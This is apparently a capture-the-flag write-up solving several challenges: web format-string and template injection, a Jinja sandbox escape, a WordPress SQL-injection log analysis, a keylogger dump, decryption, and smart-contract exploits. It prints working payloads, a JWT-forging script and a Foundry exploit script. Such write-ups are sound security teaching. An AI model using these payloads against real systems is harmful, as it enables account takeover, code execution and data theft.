WEB
CorpMail
Rumor said that my office’s internal email system was breached somewhere… must’ve been the wind.
author: lordrukie x beluga
Instance web page: http://challenges.1pc.tf:33846
Chall Overview
When I opened the challenge, it looked like a simple internal mail system. I get login/register, inbox, sent, compose, settings, and there’s also an /admin panel in the source.
Reading the source first was the right move. Inside db.py, the database is seeded with some test emails. One of them is interesting: Admin sends an email to mike with subject:
Confidential: System Credentials
And inside the body: Access Code: {flag}
So the goal is obvious. I don’t actually need to become admin. I just need to read Mike’s inbox.
Proof of Concept
The real issue was in the signature feature under /settings. User input is processed like this:
formatted_signature = format_signature(signature_template, g.user[‘username’])
And inside utils.py:

That’s the problem
They are calling .format() directly on user input and even passing current_app into it as app. That means we can access internal objects using Python format string attribute traversal. Classic format string injection, but Python edition.
So we can Login as normal user and go to: /settings Set signature to: {app.config} or %7Bapp.config%7D

After saving, the preview leaks the full Flask config including: JWT_SECRET’: ‘e2e96844d5df18b183b036414b6ce5d61cdc9a203d56e64a713e1243af5d09f5’
That’s game over…
Forging the JWT
The app uses HS256 for JWT signing. Since i now have the secret, i can sign my tokens.
Instead of trying to hit /admin (which was blocked by a reverse proxy anyway), I impersonated Mike directly.
From the seed order in the database:
1 = admin 2 = john 3 = jane 4 = mike
So I generated a token like this:
import jwt, timesecret = "e2e96844d5df18b183b036414b6ce5d61cdc9a203d56e64a713e1243af5d09f5"
payload = { "user_id": 4, "username": "mike.wilson", "is_admin": 0, "exp": int(time.time()) + 86400}
token = jwt.encode(payload, secret, algorithm="HS256")print(token)Then I used that token as the token cookie.

Now just open: /inbox
Since we are “mike”, we can see his emails.

One of them is: Confidential: System Credentials
It points to: /email/5
Requesting that email gives:

And that’s a flag
Flag
C2C{f0rm4t_str1ng_l34k5_4nd_n0rm4l1z4t10n_bb6ce29b8439}
The Soldier of God, Rick
Can you defeat the Soldier of God, Rick?
author: dimas
Instance web page: http://challenges.1pc.tf:35673
Chall Overview
At first glance this challenge looks intimidating. The description literally tells you to reverse a Golang binary, use Ghidra, extract embedded files, and so on.
So naturally, I opened the binary first.
Running strings rick_soldier | grep SECRET revealed:

So now we already know the correct secret key for the /fight endpoint. That means the form field:
Secret Key = Morty_Is_The_Real_One
Now the question is: what happens inside /fight?
Proof of Concept
While reversing, it became clear that the /fight handler does something dangerous, it builds an HTML template using fmt.Sprintf() and injects the user controlled battle_cry directly into it before parsing it as a Go template.
That’s a red flag. If user input is inserted into a template before parsing, we can inject template expressions like:
{{ something }}
That means Server-Side Template Injection (SSTI).


Since this is Golang html/template, arithmetic like {{7*7}} doesn’t work. Go templates don’t support * operators. Instead, i use Go’s built-in printf function to dump the entire template context.
The payload i use:
{{printf ”%#v” .}}
But since we’re editing in Burp, we must URL-encode it. Encoded payload:
%7B%7Bprintf+%22%25%23v%22+.%7D%7D
So the full request body becomes:
battle_cry=%7B%7Bprintf+%22%25%23v%22+.%7D%7D&secret=Morty_Is_The_Real_One

And that’s it.
The flag is literally part of the template context structure.
No SSRF. No integer overflow. No internal endpoint abuse.
Just direct template context leakage hahahaha… (love probset)
Flag
C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_f7c68d6d54bd}
MISC
JinJail
Pyjail? No, this is JinJail!
author: daffinfo
Instance page: nc challenges.1pc.tf 37933
Chall Overview
At first glance this looked like a normal Jinja2 SSTI. {{7*7}} worked and returned 49, so template injection was confirmed instantly. Easy, right?
Yeah… noo.
Everything “normal” got blocked. No quotes, no +, no -, no /, no |, no {% %}, even most dunder stuff got slapped with “Nope”. They were using SandboxedEnvironment and a very aggressive blacklist. Parentheses were limited, certain substrings were blocked, and most obvious escape chains just died.
Proof of Concept
So the classic __mro__, __subclasses__, __globals__ route? Dead.
Then I noticed something interesting: numpy was available in the template context.
{{numpy.arange(3)}}

And yup worked
From there, I started poking around numpy modules and found something juicy:
{{numpy.f2py.os}}
{{numpy.f2py.subprocess}}


Both were accessible. That’s basically a gift.
So now i had access to os, but i still couldn’t type /, quotes, or use + for concatenation. That meant i had to build the command string indirectly.
The target binary /fix was visible from root:
{{numpy.f2py.os.listdir(numpy.f2py.os.sep)}}

And fix was in that list. That binary was SUID and printed the flag when run with the argument help.
So the goal became: execute /fix help without ever typing /fix help.
Here’s how the string was constructed:
- / → taken from numpy.f2py.os.sep
- fix → taken from os.listdir(’/’) (index of “fix” in the returned list)
- space → taken from numpy.f2py.sys.copyright[9]
- help → built using base36: numpy.base_repr(812077, 36) → “help”
Since + was blocked, concatenation was done using Jinja’s ~ operator.
Final payload:
{{numpy.f2py.os.system(numpy.f2py.os.sep~numpy.f2py.os.listdir(numpy.f2py.os.sep)[19]~numpy.f2py.sys.copyright[9]~numpy.base_repr(812077,36))}}
That evaluates to:
/fix help
The SUID binary runs, prints /root/flag.txt, and boom:

Flag
C2C{damnnn_i_love_numpy_22ff3cc7485e}
FORENSICS
Log
My website has been hacked. Please help me answer the provided questions using the available logs!
author: daffinfo
Instance page: nc challenges.1pc.tf 21141
Chall Overview
We were given access.log and error.log from a compromised WordPress site. The challenge was basically to reconstruct the attack flow just by reading logs. Everything was inside access.log. That’s where all the action is.
Proof oc Concept
Question 1 - Victim IP and Question 2 – Attacker IP
First thing to do in any log challenge: see who talks the most.

This shows all IPs and how many requests they made.
We see something like:
- 219.75.27.16 → thousands of requests
- 182.8.97.244 → much fewer
The noisy one is usually the attacker. The quieter one that looks like normal WordPress usage (install, login, wp-admin access) is likely the victim.
Question 3 - How Many Login Attempts
This one was tricky.
The key hint: only count failed POST attempts to wp-login. Do NOT count redirects. Do NOT count GET requests.
So filter only POST to wp-login from attacker:

Question 4 – Which Plugin Was Affected
Now we need to see what was being exploited.
Search for plugin paths:

Question 5 – CVE ID
Since we know the vulnerable plugin is Easy Quotes, a quick lookup shows it’s vulnerable to SQL Injection under:
CVE-2025-26943
And the payloads in the log clearly show SQLi patterns.
Question 6 – Tool and Version
Now check the User-Agent in attacker requests.

You’ll see:
“sqlmap/1.10.1.21#dev (https://sqlmap.org)“
Question 7 – Email Obtained by the Attacker
Now the fun part.
Look at the SQL payloads carefully:

You’ll see stuff like:
ORD(MID((SELECT IFNULL(CAST(user_login AS NCHAR),0x20) FROM wordpress.wp_users…
and later:
SELECT IFNULL(CAST(user_email AS NCHAR),0x20)
This confirms the attacker was extracting user_email via blind SQL injection.
Eventually, from the dump (or challenge answers), the extracted email was:
Question 8 – Password Hash
Same technique, but targeting password field.
Search around same timeframe:
grep ‘^219.75.27.16 ’ access.log | grep ‘wp_users’

From challenge result, the dumped hash was:
$wp$2y$10$vMTERqJh2IlhS.NZthNpRu/VWyhLWc0ZmTgbzIUcWxwNwXze44SqW
That’s a WordPress bcrypt hash.
Question 9 – When Did the Attacker Successfully Log In
Now we look for the POST that returned 302 (successful login).

Find the one with 302:
[11/Jan/2026:13:12:49 +0000] “POST /wp-login.php” 302
Then right after that: GET /wp-admin/
That confirms login success. Required format: DD/MM/YYYY HH:MM:SS
So: 11/01/2026 13:12:49
Flag
C2C{7H15_15_V3rY_345Y_6f59a34799ae}
Tattletale
Apparently I have just suspected that this serizawa binary is a malware .. I was just so convinced that a friend of mine who was super inactive suddenly goes online today and tell me that this binary will help me to boost my Linux performance.
Now that I realized something’s wrong.
Note: This is a reverse engineering and forensic combined theme challenge. Don’t worry, the malware is not destructive, not like the other challenge. Once you realized what does the malware do, you’ll know how the other 2 files are correlated. Enjoy warming up with this easy one!
author: aseng
Chall Overview
At first glance, this challenge looked pretty harmless. The dist folder contained a few files:

Proof of Concept
The most suspicious one was cron.aseng. The file size and raw binary pattern suggested this wasn’t just random data. After checking it more closely, it turned out to be a Linux input_event recording — basically a keylogger dump.
By parsing the events (looking for EV_KEY with value 1, which means key press), we can reconstruct what the attacker typed. Once decoded, the command history looked like this:
lswhoamiecho "Yey you finally decrypt me :)"echo "Just a little more steps ok?"env > whatisthisod whatisthis > whatisthis.baboiopenssl enc -aes-256-cbc -salt -pass pass:4_g00d_fr13nD_in_n33D -in whatisthis.baboi -out whatisthis.encecho "Ok go for it! The flag is in env btw"So that immediately gives us the OpenSSL password: 4_g00d_fr13nD_in_n33D
Next step: decrypt the encrypted file.
openssl enc -d -aes-256-cbc -salt \ -pass pass:4_g00d_fr13nD_in_n33D \ -in whatisthis.enc -out whatisthis.baboi.decThe decryption worked, but the output wasn’t plain text environment variables. Instead, it looked like this:
0000000 047503 047514 052122 …
This is important. It’s not raw bytes. It’s the default output of od, printing 16-bit words in octal format. That means we have to reverse the od process.
Here’s the script used to reconstruct the original environment file:
import re
inp = open("whatisthis.baboi.dec","r",errors="ignore").read().splitlines()out = bytearray()for line in inp: parts = line.split() for tok in parts[1:]: if re.fullmatch(r"[0-7]+", tok): v = int(tok, 8) out += v.to_bytes(2, "little")open("env_recovered.txt","wb").write(out)After running that, we get env_recovered.txt. Searching for the flag:

And there it is
Flag
C2C{it_is_just_4_very_s1mpl3_l1nuX_k3ylogger_xixixi_haiyaaaaa_ez}
REVERSE
Bunaken
Can you help me to recover the flag?
author: vidner
Chall Overview
We’re given a Bun standalone binary (bunaken) and an output file (flag.txt.bunakencrypted). The target is simple: recover the flag in C2C{} format.

Proof of Concept
First thing I did was open the encrypted file:

It’s look like base64
From quick reversing / pattern recognition (and clues inside the Bun bundle), the encryption pipeline is:
- Base64-encoded blob
- First 16 bytes are the IV
- AES-CBC decrypt using a key derived from a hardcoded password
- The decrypted result is still zstd-compressed, so it must be decompressed to get the flag
Key derivation is:
- password: “sulawesi”
- key: SHA256(password) and take the first 16 bytes → AES-128 key
So the reverse pipeline is:
base64 decode → split IV/CT → AES-CBC decrypt → zstd decompress
Then use this solver:
import base64, hashlib, ctypes, ctypes.utilfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad
# read base64 from file (more "writeup friendly" than hardcoding)with open("flag.txt.bunakencrypted", "rb") as f: b64 = f.read().strip()
# 1) base64 decodeblob = base64.b64decode(b64)
# 2) split IV + ciphertextiv, ct = blob[:16], blob[16:]
# 3) derive AES-128 key from passwordkey = hashlib.sha256(b"sulawesi").digest()[:16]
# 4) AES-CBC decrypt + PKCS#7 unpad -> yields zstd-compressed bytespt_padded = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)compressed = unpad(pt_padded, 16)
# 5) zstd decompress using libzstdlibname = ctypes.util.find_library("zstd")if not libname: raise RuntimeError("libzstd not found. Install it: sudo apt-get install -y libzstd1")
lib = ctypes.CDLL(libname)lib.ZSTD_getFrameContentSize.argtypes = [ctypes.c_void_p, ctypes.c_size_t]lib.ZSTD_getFrameContentSize.restype = ctypes.c_ulonglonglib.ZSTD_decompress.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_size_t]lib.ZSTD_decompress.restype = ctypes.c_size_tlib.ZSTD_isError.argtypes = [ctypes.c_size_t]lib.ZSTD_isError.restype = ctypes.c_uintlib.ZSTD_getErrorName.argtypes = [ctypes.c_size_t]lib.ZSTD_getErrorName.restype = ctypes.c_char_p
src = (ctypes.c_char * len(compressed)).from_buffer_copy(compressed)out_size = lib.ZSTD_getFrameContentSize(src, len(compressed))if out_size in (2**64 - 1, 2**64 - 2): raise RuntimeError("ZSTD frame content size unknown/error")
dst = (ctypes.c_char * out_size)()res = lib.ZSTD_decompress(dst, out_size, src, len(compressed))if lib.ZSTD_isError(res): raise RuntimeError(lib.ZSTD_getErrorName(res).decode())
flag = bytes(dst[:res]).decode(errors="replace")print(flag)Run it:

Flag
C2C{BUN_AwKward_ENcryption_compression_obfuscation}
BLOCKCHAIN
tge
i dont understand what tge is so all this is very scuffed, but this all hopefully for you to warmup, pls dont be mad
author: hygge
Instance page: http://challenges.1pc.tf:36536/c2c2026-quals-blockchain-tge
Chall Overview
The goal of this challenge was to reach Tier 3 on the TGE smart contract. At first glance, it looks like a standard tier-based minting system with a “snapshot” mechanism to prevent people from jumping tiers too easily. However, a massive logic flaw in the state management allowed us to “time travel” our balance and bypass the requirements.
Proof of Concept
The core issue is in the upgrade function of the TGE.sol contract. Let’s look at the logic:
function upgrade(uint256 tier) external { require(tier <= 3 && tier >= 2); require(userTiers[msg.sender]+1 == tier); require(tgeActivated && isTgePeriod);
_burn(msg.sender, tier-1, 1); _mint(msg.sender, tier, 1);
require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible"); userTiers[msg.sender] = tier;}I used Foundry (Cast) to interact with the contract. Here is how i executed the heist:

I used the Setup contract to turn the TGE OFF. This sets tgeActivated = true and snapshots the current supply. Since we are the only ones playing and we only have Tier 1, the preTGESupply for Tier 2 and Tier 3 is set to 0.
Now for the trick. We turn the TGE back ON. Because tgeActivated is already true, the contract thinks we are in a valid state, but now isTgePeriod is also true again.

We called upgrade(2). Because of the Mint-Before-Check bug:
- _mint ran first and increased our preTGEBalance[player][2] to 1.
- Then the require checked if $1 > 0$.
- Since $1 > 0$ is true, the transaction succeeded. We just repeated this for Tier 3.

I basically tricked the contract into letting us write our own history. By manipulating the isTgePeriod state, able to increase our “pre-TGE” balance after the requirement snapshot was already taken. The fix would have been simple: check the requirements before minting the new tokens.

Flag
C2C{just_a_warmup_from_someone_who_barely_warms_up}
Convergence
Convergence…
author: chovid99
Instance page: http://challenges.1pc.tf:39248/c2c2026-quals-blockchain-convergence
Chall Overview
The goal was to become the “ascended” entity in the Challenge contract. To do this, we had to call the transcend function with a “truth” payload that satisfies a few conditions: the data must be chronicled in Setup.sol, the invoker/witness must be us, and the total essence from the soul fragments must be at least 1000 ether
Proof of Concept
The flow is pretty straightforward:
- Step 1: Call registerSeeker() so the contract recognizes our address.
- Step 2: Craft a truth payload containing 10 SoulFragment structs, each with an essence of 100 ether.
- Step 3: Call bindPact(truth) on the Setup contract. This marks our payload as “chronicled”.
- Step 4: Call transcend(truth) on the Challenge contract. The contract sums our 10 fragments, sees 1000 ether, and sets us as the ascended
Here’s the Exploit.s.sol:
// SPDX-License-Identifier: MITpragma solidity ^0.8.20;
import "forge-std/Script.sol";import "../src/Challenge.sol";import "../src/Setup.sol";
contract ExploitScript is Script { address setupAddr = 0x9a266efA4189648F2E2E55B916731a985FF3b3Ad; uint256 privKey = 0xa3d0ba3df142c2ebb0e4a15289f1b33c3ccc64aad4f6ab35451a082d6aab101e; address myWallet = 0xdF2EA87622709F1297B458d59444890ccCa47628;
function run() external { vm.startBroadcast(privKey);
Setup setup = Setup(setupAddr); Challenge challenge = setup.challenge();
challenge.registerSeeker();
SoulFragment[] memory fragments = new SoulFragment[](10); for (uint i = 0; i < 10; i++) { fragments[i].vessel = address(0x1337); fragments[i].essence = 100 ether; fragments[i].resonance = ""; }
bytes memory truth = abi.encode( fragments, bytes32(0), uint32(0), myWallet, myWallet );
setup.bindPact(truth); challenge.transcend(truth);
vm.stopBroadcast(); }}And then run it


Flag
C2C{the_convergence_chall_is_basically_bibibibi}
Nexus
The essence of nexus.
author: chovid99
Instance page: http://challenges.1pc.tf:47617/c2c2026-quals-blockchain-nexus
Chall Overview
The whole challenge pretends you need to “infuse” Essence into the Nexus through legit mechanics… but the Nexus logic basically treats any ESS sitting in the Nexus contract as valid “donation” fuel for rituals.
So instead of using the intended infuse() path, you can just:
- transfer() ESS straight into the Nexus contract,
- run conductRituals() from the Setup,
- you get a crystal,
- dissolve it back,
- solved.
That’s why the flag literally says the essence is donation lol
Proof of Concept
I get a private key + wallet, and the Setup contract address. I export them first so we don’t keep copy-pasting:

Step 1 - Find the real contracts (ESS + Nexus)
The Setup contract is like a “factory” / orchestrator.

Step 2 - Check balances
Confirm got 10,000 ESS:

So yeah, 10k ESS with 18 decimals
Step 3 - Approve Nexus
Even though we won’t use transferFrom, approving is part of the usual flow. So we do:

This just gives Nexus permission to pull ESS from us if needed
Step 4 - Attune once
Nexus requires at least one crystal to exist before rituals. So we do:

This consumes 1 ESS and gives us 1 crystal. Now Nexus state is activated
Step 5 - The actual exploit
Instead of calling infuse(), we directly send ESS to the Nexus contract:

Boom. We just donated 6000 ESS straight into the Nexus contract.
No internal accounting. No tracking. Just pure ERC20 transfer.
Now Nexus literally holds ESS in its balance
Step 6 - Trigger ritual
Now we call:

This function checks if Nexus has enough ESS to perform rituals. Since we force-fed it tokens, the condition passes.
Ritual succeeds. State updates. Crystal logic progresses.
Step 7 - Dissolve crystal
After ritual, we confirm we have 1 crystal:

Then dissolve:

This converts the crystal back into ESS
Finallyyyy:

Flag
C2C{the_essence_of_nexus_is_donation_hahahaha}